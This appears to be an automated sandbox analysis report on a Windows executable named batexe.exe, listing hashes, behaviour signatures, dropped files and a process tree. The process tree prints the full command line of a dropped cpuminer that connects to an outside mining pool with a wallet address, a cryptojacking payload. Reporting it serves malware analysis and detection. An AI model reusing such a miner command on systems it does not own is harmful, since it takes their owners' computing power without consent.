Analysis

  • max time kernel
    294s
  • max time network
    293s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    22/02/2024, 11:37

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F85.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2480

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

          Filesize

          25.1MB

          MD5

          0b9499f42a5c16cfdbac7cee467fd08d

          SHA1

          f8c26ffb23ebf53d7b15cbf56bc9e1b1798e80dd

          SHA256

          9c4b58f7083b6c44bb515d59ae94da78fe522a4c7cbff4ca95e31050d87da953

          SHA512

          f82447fe0b123cd5baadf1785f9a79ef23fe5b10a91093bfe2031216a6adc5d5e0c7c857f5473565535c8baec6f1eba5e9d1161234433887d22fa4e9fac088c5

        • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

          Filesize

          8.4MB

          MD5

          5f3f7bedef35e04f1546b2f13f025995

          SHA1

          f8c46338b9437b04b0acecde33f065b5c375cd37

          SHA256

          42e69bb7ba17fc855ea427b24a2c30a485afe8d6a4bfae98ae7b5ac284429f35

          SHA512

          6983b8295cbce20cbebb3b6854f313c07335cd14eb52291dabd2789cc6b38dc1f5517dbc997f65949aef8a78264fb750959f062e0d327c0d940ca32162ecbc6a

        • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

          Filesize

          7.8MB

          MD5

          de7057589fe3a6872fc1133117b4ef1a

          SHA1

          90aaf8890dbca3a51d11e196b1430dfd14d7c880

          SHA256

          03066edd170957eff533ab2d234eda840c8d4c5eed0cf0c570b93a6b9ae459f0

          SHA512

          7e1f02a54d3e1c752f4d9aa0b70dd478f71049b6ed5f1e8818a1b31536c5ed0e581adcb05ff36875e1019728cd262648cb679198e3c1f6ac17a2246bdcd6583b

        • C:\Users\Admin\AppData\Local\Temp\5F85.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.2MB

          MD5

          2ee13b06b9232e674dafb91d955769cd

          SHA1

          4147caf05675ec29077fea1e2f9f366d253511ee

          SHA256

          34748ecdb4ef72d4729ffc29f4f000a72fc7a31cd895fc99cca3e4b416d0c09c

          SHA512

          ef8c83a177af9b633e2443cb2134a204239ccb7562c123a8622dfb8cc3b7a8139fad1eef46a863602568c009abc6d16e80e486d35f77199cd31ff7c63d00358a

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.3MB

          MD5

          4c04147c386ba8792ac6a03069572a8a

          SHA1

          dda67789fc1d0f2469ca95f01a5c81034853ca6a

          SHA256

          c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

          SHA512

          a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          2.2MB

          MD5

          e5b7a3618796e5fb5a91ea5c22f43f0c

          SHA1

          045e841be0fa64f7397127fd727c55062392bd42

          SHA256

          3294b1337c46bf37cb8d88f22f88f3f285b91e0b7b107f69e4b2c3a3f5edbca4

          SHA512

          5d0d3ae4a9dc4fd50aa4e9efa44bed242f2fb0af14748d24a75e334e1c001705c3ad427825df7ae732e51c02f21f3010619506258ada6a105669d5e5624aa042

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          3.0MB

          MD5

          ab29a7e0b384e5d91e15d5c1f5fe3a30

          SHA1

          814763a41ad1fff235194df92045d619415e2c69

          SHA256

          9158f7a049ecd84d38cbeedad37471f57d4b83ae79405907a2be2f92eec5b26e

          SHA512

          69d67562ea763486a72d51e5bdcc62015aabea05895fc0a56336826298e24f59f77c78f0f1997dd0768f45329f370b11cb75cb3afef702e7592b9e6f98f949b4

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          2.4MB

          MD5

          5de1453c999922efbd818ae702574400

          SHA1

          ece70cbfcb95c7b6124997346ffd1dbbb1992e92

          SHA256

          84dd5cad904ed9524c258ce8d711f37c2cf9518e468346ae8a338d1eaa8949ac

          SHA512

          55d1791c82ec743210ee5862b2d2af382bb6c2a4805f63c9b9db95c152c350ba0419bd5d3be9b7ce83f7c977c92aad1fd563d2a0199a6b2fbd26e649ef129820

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/1928-8-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/2480-46-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/2480-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/2480-104-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-45-0x0000000072660000-0x00000000726F8000-memory.dmp

          Filesize

          608KB

        • memory/2480-47-0x0000000001080000-0x0000000002935000-memory.dmp

          Filesize

          24.7MB

        • memory/2480-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-54-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2480-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4900-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/4900-9-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB